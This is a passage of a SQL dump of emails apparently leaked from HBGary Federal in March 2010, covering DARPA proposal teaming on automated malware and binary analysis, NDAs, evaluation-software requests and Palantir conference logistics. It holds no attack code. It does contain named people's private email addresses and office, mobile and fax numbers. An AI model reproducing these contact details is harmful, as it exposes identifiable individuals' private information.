contact data, if you would like to discuss\r\n&gt; ProPricer Evaluation sooner please call me.\r\n&gt;\r\n&gt;\r\n&gt; Warm Regards,\r\n&gt;\r\n&gt; Brian C Burmeister\r\n&gt; Executive Business Services, Inc.\r\n&gt; ProPricer &quot;Industry Proven&quot; pricing software\r\n&gt; bburmeister@propricer.com\r\n&gt; Office: 704-367-3402\r\n&gt; Fax: 704-367-2578\r\n&gt; Mobile: 703-665-0443\r\n&gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',1066,'aaron_hbgary_com/1066.html'),(3339,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001623.M177997P3547Q3339.eml','\"Mark Trynor\" <mark.trynor@gmail.com>,\"Mark Trynor\" <mark.trynor@gmail.com>','Welcome Aboard!','I am happy that you are our first employee.  Man you got a lot of work to do.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7875,'aaron_hbgary_com/7875.html'),(3340,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001623.M436646P3547Q3340.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA project - AFR and Active Reversing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYep, DC3 does dead box analysis &#8211; they get sent hard drives and\r\nhard drive images.&nbsp; Old school.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Monday, March 01, 2010 11:36 PM\r\nTo: Bob Slapnik\r\nSubject: Re: DARPA project - AFR and Active Reversing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJasons Tech approach for TA1.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think I get why DC3 hasn\'t purchased many products.\r\n&nbsp;They only do file analysis. &nbsp;REcon should be more attractive to\r\nthem.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 7:36 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust\r\ngot off a conference call with GD and Dawn Song, UC Berkley professor.&nbsp;\r\nShe has done research on binary analysis and they have added her to their team\r\nfor topic #1.&nbsp; Based on what I heard it seems that her work has many\r\nsimilarities with Greg&#8217;s Automated Flow Resolution (AFR) and Active\r\nReversing.&nbsp; GD is priming #1 so they put whomever they want on their\r\nteam.&nbsp; As for topic #3, we need to examine whether or not we need Dawn.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nShe\r\nbrings academia which DARPA likes, an extensive resume of related research and\r\npapers, and she appears to be deeply engaged in the work at present.&nbsp; And\r\nshe seems ready and able to write tech content for proposals.&nbsp; But it bugs\r\nme to bring somebody on the team duplicating work HBGary did 2005-2007.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/01/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7717,'aaron_hbgary_com/7717.html'),(3341,'2010-03-02','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001623.M622586P3547Q3341.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Automatic generation of execution trees','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nyes RECon does make execution trees&#8230; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 10:09 AM\r\nTo: Rich Cummings\r\nSubject: Automatic generation of execution trees\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDoesn\'t\r\nREcon already automatically generate execution trees?\r\n\r\n&nbsp;\r\n\r\nTEchnical area 3:\r\n\r\nThis technical area will\r\ninvestigate automated analysis and visualization of computer binary (machine\r\nlanguage) functionality and behaviors (reverse engineering). Performers will\r\ndevelop technologies to conduct automated analysis of binary software of\r\ninterest to assist analysts in understanding the software&#8217;s function and\r\nintent.\r\n\r\nExamples of revolutionary\r\ntechnologies include but are not limited to:\r\n\r\n\r\n Automatically generated execution trees from submitted malware that\r\n     include automated analysis of software dependencies.\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6440,'aaron_hbgary_com/6440.html'),(3342,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001627.M768275P3547Q3342.eml','\"Don Bailey\" <don@hypervista-tech.com>','Clearances and UNO','Hey Don,\r\n\r\nLooks like Ted and I will be getting our customer tickets back in the next week or so.  How goes the UNO Task Deliberations?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',11704,'aaron_hbgary_com/11704.html'),(3343,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001630.M419423P3547Q3343.eml','\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>','Re: BitBlaze slides','Dawn,\r\n\r\nI would like to get an NDA in place to discuss TA3.\r\n\r\nThanks,\r\nAaron\r\n\r\n',15480,'aaron_hbgary_com/15480.html'),(3344,'2010-03-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001630.M708453P3547Q3344.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: A few whitepapers','Aaron,\r\n\r\nThanks.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 11:17 PM\r\nTo: Upchurch, Jason R.; Starr, Christopher H.\r\nSubject: A few whitepapers\r\n\r\nThese are the foundation of what will be our approach for Tech3.  Sadly\r\nthese were written by Greg and team back in 2006.  We received a SBIR\r\nPhase 1 and 2, both were funded.  We have a working prototype for phase\r\n1, phase 2 was mismanaged by someone that no longer works for the\r\ncompany.  These are very similiar to what Dawn is proposing so good to\r\nhave someone else on the team that thinks similarly, should make writing\r\nmuch easier.  We are of course drastically updating to reflect new\r\nthinking.  Lots of good content that we can reuse here though.\r\n\r\n',1170,'aaron_hbgary_com/1170.html'),(3345,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001633.M569552P3547Q3345.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','some thoughts','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1083,'aaron_hbgary_com/1083.html'),(3346,'2010-03-02','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001633.M846697P3547Q3346.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','RE: some thoughts','Aaron... is this a word document? (the extension got stripped off the\r\nattachment -- I could check what it is but I thought I would just ask\r\n:-)\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 9:29 AM\r\nTo: Upchurch, Jason R.\r\nCc: Starr, Christopher H.\r\nSubject: some thoughts\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5556,'aaron_hbgary_com/5556.html'),(3347,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001634.M909123P3547Q3347.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: some thoughts','resending.  its pages format...I always forget to convert.  Attached is also some of gregs thoughts from yesterday to create a completely emulated operating environment.  I am working out an approach in my head.  Sadly the proposal they wrote in 2005/2006 is still not realized (parts are) but the automated flow resolution is not, this along with some capabilities for visualization and automated enumeration of behavior would be revolutionary enough I think.  Gregs idea about a completely emulated environment is a step beyond that even...love to get your thoughts on the approach for 3.  I am think proposing the less revolutionary with the more revolutionary as an option if desired?\r\n\r\n',4537,'aaron_hbgary_com/4537.html'),(3348,'2010-03-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001635.M166157P3547Q3348.eml','\"Aaron Barr\" <aaron@hbgary.com>','Telephone call','\r\n\r\n\r\n\r\n\r\nTelephone call\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, March 02, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAaron,\r\n\r\nGot retasked for this morning.&nbsp; Call you at 1.&nbsp; Is that good?\r\n\r\n\r\n',7538,'aaron_hbgary_com/7538.html'),(3349,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001635.M362660P3547Q3349.eml','\"Bob Slapnik\" <bob@hbgary.com>','SBIR I and II','So we have a working prototype for the Automated Flow resolution? and the rutime disassembly engine (is this REcon)?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9708,'aaron_hbgary_com/9708.html'),(3350,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001635.M574698P3547Q3350.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Telephone call','yepOn Mar 2, 2010, at 9:57 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, March 02, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).Note: The GMT offset above does not reflect daylight saving time adjustments.*~*~*~*~*~*~*~*~*~*Aaron,Got retasked for this morning.&nbsp; Call you at 1.&nbsp; Is that good?\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4987,'aaron_hbgary_com/4987.html'),(3351,'2010-03-02','\"Ross, Allan (Contr) (IS)\" <Allan.Ross@tasc.com>','/aaron@hbgary.com/new/1297001639.M2608P3547Q3351.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: TASC-HB Gary COIN NDA Template 030110.docx','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, attached is the fully\r\nexecuted NDA agreement for the COIN discussions this week.\r\n\r\n&nbsp;\r\n\r\nChris, please let me know if you need\r\nanything else.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRespectfully,\r\n\r\n&nbsp;\r\n\r\nAllan Ross\r\n\r\nContracts\r\n\r\nTASC, Inc.\r\n\r\nIntelligence Operations Business Unit\r\n\r\n4807 Stonecroft Boulevard\r\n\r\nChantilly, VA. 20151\r\n\r\nallan.ross@tasc.com\r\n\r\nPH: 703-449-3687\r\n\r\ne-fax 978-684-7642\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 4:57 PM\r\nTo: Ross, Allan (Contr) (IS)\r\nSubject: Re: TASC-HB Gary COIN NDA Template 030110.docx\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHere you go.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12010,'aaron_hbgary_com/12010.html'),(3352,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001639.M308653P3547Q3352.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','SBIR I','jason,\r\n\r\nDId you get a chance to read through this.  Greg lists a fairly detailed approach on how to create an automated flow control capability for full execution of the code.  I have a question out to Bob to see how much of this was actually built.  I know this SBIR was funded and out of it came REcon, so we never got the AFR piece built I know that.\r\n\r\nIs this basically what the Dawn was talking about (I still need to read through her stuff this morning).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12613,'aaron_hbgary_com/12613.html'),(3353,'2010-03-02','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001639.M500391P3547Q3353.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nAre you available for a call at 1PM EST?\r\nIf so, can you call into our conference line: 256.325.4671.\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n\r\n> Irby,\r\n> \r\n> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n> \r\n> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>> \r\n>> 	Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi Irby,\r\n>>> \r\n>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>> \r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',12799,'aaron_hbgary_com/12799.html'),(3354,'2010-03-02','\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>','/aaron@hbgary.com/new/1297001639.M694451P3547Q3354.eml','bob@hbgary.com,support@hbgary.com,bob@hbgary.com','Responder + Digital DNA Software','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; I am requesting access to download Responder and\r\nDigitialDNA.&nbsp; I am working with Brian Masterson from Northrop Grumman.\r\n\r\n&nbsp;\r\n\r\nMy account on HBGary is under &#8216;christopher.churchey@ngc.com&#8217;\r\n\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris R. Churchey \r\nSoftware Engineer \r\nNorthrop Grumman Xetron \r\nOffice: (513) 881-3454 \r\nMobile: (937) 344-7207\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15109,'aaron_hbgary_com/15109.html'),(3355,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001639.M896913P3547Q3355.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: DARPA BAA','I have a meeting from 1-1:30.  how about 1:30?\r\n\r\nAaron\r\n\r\nOn Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Are you available for a call at 1PM EST?\r\n> If so, can you call into our conference line: 256.325.4671.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n> \r\n>> Irby,\r\n>> \r\n>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>> \r\n>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>> \r\n>>> 	Regards,\r\n>>> 	Irby\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi Irby,\r\n>>>> \r\n>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>> \r\n>>>> Thanks,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5939,'aaron_hbgary_com/5939.html'),(3356,'2010-03-02','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297001640.M104299P3547Q3356.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: GovCon stuff','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Brian,\r\n\r\n&nbsp;\r\n\r\nI hope your preparation for GovCon5 is going smoothly.&nbsp; Is\r\nthe HBGary/Xetron v0 integration still on target for the conference?\r\n\r\n&nbsp;\r\n\r\nI need a couple things from you to aid in conference\r\npreparation on our end.&nbsp; Could you please provide a high-res (300 dpi)\r\nvector (.ai, .eps) or uncompressed TIFF format company logo (in this case one\r\nfor each of your companies).&nbsp; If this is not available, a high-res\r\nuncompressed jpeg is acceptable.&nbsp; We will also need a 100 word description\r\nof your company and integration with Palantir.&nbsp; A 100 word piece from each\r\nHBGary and Xetron is fine.\r\n\r\n&nbsp;\r\n\r\nA couple details on conference logistics:\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPartner booths will be a 10x7 space with a table, table\r\nskirt, and backdrop provided.&nbsp; All other booth media (i.e. signage, demo\r\nmaterial, company collateral) will need to be supplied by you.\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSetup will be available in the evening on Tuesday (4/6)\r\nor pre-conference on Wednesday (4/7).&nbsp; Additional details to be available\r\nin the coming weeks.\r\n\r\n&nbsp;\r\n\r\nAdditionally, please let me know if your companies are\r\ninterested in any of the sponsorship opportunities available.&nbsp; Please do\r\nnot feel obligated to be a sponsoring partner, I just wanted to remind you that\r\nthe deadline to do so is approaching on Friday.\r\n\r\n&nbsp;\r\n\r\nPlease do not hesitate to contact Matt or myself with any\r\nquestions as you prepare for the conference.\r\n\r\n&nbsp;\r\n\r\nCheers,\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir\r\nTechnologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com\r\n| 571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Monday, March 01, 2010 1:36 PM\r\nTo: Aaron Barr; Masterson, Brian (Xetron)\r\nCc: Timothy Ronan\r\nSubject: GovCon stuff\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, Brian,\r\n\r\n&nbsp;\r\n\r\nTim Ronan is leading our GovCon coordination.&nbsp; To\r\nmaintain your demo station we reserved for you guys he&#8217;s going to need some\r\nbasic info.&nbsp; Ill let him pick up the thread from here.\r\n\r\n&nbsp;\r\n\r\nIn other random news, Aaron, you had asked me about web\r\nscraping vendors.&nbsp; Out of the blue a rep from Cyveillance (http://www.cyveillance.com/) called me\r\nto chat partnership.&nbsp; I believe they have the capability you were looking\r\nfor.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11114,'aaron_hbgary_com/11114.html'),(3357,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001640.M314646P3547Q3357.eml','\"Greg Hoglund\" <greg@hbgary.com>','Side Question','TMC and the Aurora analysis.  Do you have anything good using Palantir that would be worth discussing as a research project for Threat Intelligence?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5474,'aaron_hbgary_com/5474.html'),(3358,'2010-03-02','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001640.M556926P3547Q3358.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','That works.\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\nOn Mar 2, 2010, at 11:17 AM, Aaron Barr wrote:\r\n\r\n> I have a meeting from 1-1:30.  how about 1:30?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Are you available for a call at 1PM EST?\r\n>> If so, can you call into our conference line: 256.325.4671.\r\n>> \r\n>> 	Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n>> \r\n>>> Irby,\r\n>>> \r\n>>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>>> \r\n>>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>>> \r\n>>>> 	Regards,\r\n>>>> 	Irby\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hi Irby,\r\n>>>>> \r\n>>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>>> \r\n>>>>> Thanks,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',6159,'aaron_hbgary_com/6159.html'),(3359,'2010-03-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001640.M823810P3547Q3359.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Greg is helping on BAA today',' \r\nAaron, Ted,\r\nI am making myself available today, all day, for the BAA work.  This is the only day I have to work on this.  I am currently idle and have nothing to work on.  My precious time is being wasted.  I will go research beowulf clusters until I hear from one of you.\r\n\r\n \r\n-Greg\r\n',16576,'aaron_hbgary_com/16576.html'),(3360,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001641.M17642P3547Q3360.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Greg is helping on BAA today','calling...\r\n\r\nOn Mar 2, 2010, at 11:22 AM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron, Ted,\r\n> I am making myself available today, all day, for the BAA work.  This is the only day I have to work on this.  I am currently idle and have nothing to work on.  My precious time is being wasted.  I will go research beowulf clusters until I hear from one of you.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7017,'aaron_hbgary_com/7017.html'),(3361,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001641.M210951P3547Q3361.eml','\"Aaron Barr\" <aaron@hbgary.com>','Xetron','Aaron,\r\n\r\nThis guy from Xetron is downloading Responder + DDNA eval software.  FYI.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: HBGary INC [mailto:support@hbgary.com] \r\nSent: Tuesday, March 02, 2010 11:05 AM\r\nTo: sales@hbgary.com\r\nSubject: Request for Evaluation Software\r\n\r\nThis is an Evaluation Software Request:\r\n\r\nName: Chris Churchey\r\nEmail: christopher.churchey@ngc.com\r\nPhone: 513-881-3454\r\n\r\nCompany: Northrop Grumman\r\nCity: \r\nProv/State: OH\r\nCountry: US\r\n\r\nProducts: Digital DNA; Responder; \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10 02:34:00\r\n\r\n',6541,'aaron_hbgary_com/6541.html'),(3362,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001641.M479089P3547Q3362.eml','\"Churchey, Christopher R. \\(Xetron\\)\" <Christopher.Churchey@ngc.com>,support@hbgary.com,\"Churchey, Christopher R. \\(Xetron\\)\" <Christopher.Churchey@ngc.com>','RE: Responder + Digital DNA Software','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nLet support@hbgary.com know if you have any\r\nproblems with downloading the software or getting the 14-day eval license key.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp;\r\n|&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Churchey,\r\nChristopher R. (Xetron) [mailto:Christopher.Churchey@ngc.com] \r\nSent: Tuesday, March 02, 2010 11:13 AM\r\nTo: bob@hbgary.com; support@hbgary.com\r\nCc: aaron@hbgary.com\r\nSubject: Responder + Digital DNA Software\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHello,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; I am requesting access to download Responder\r\nand 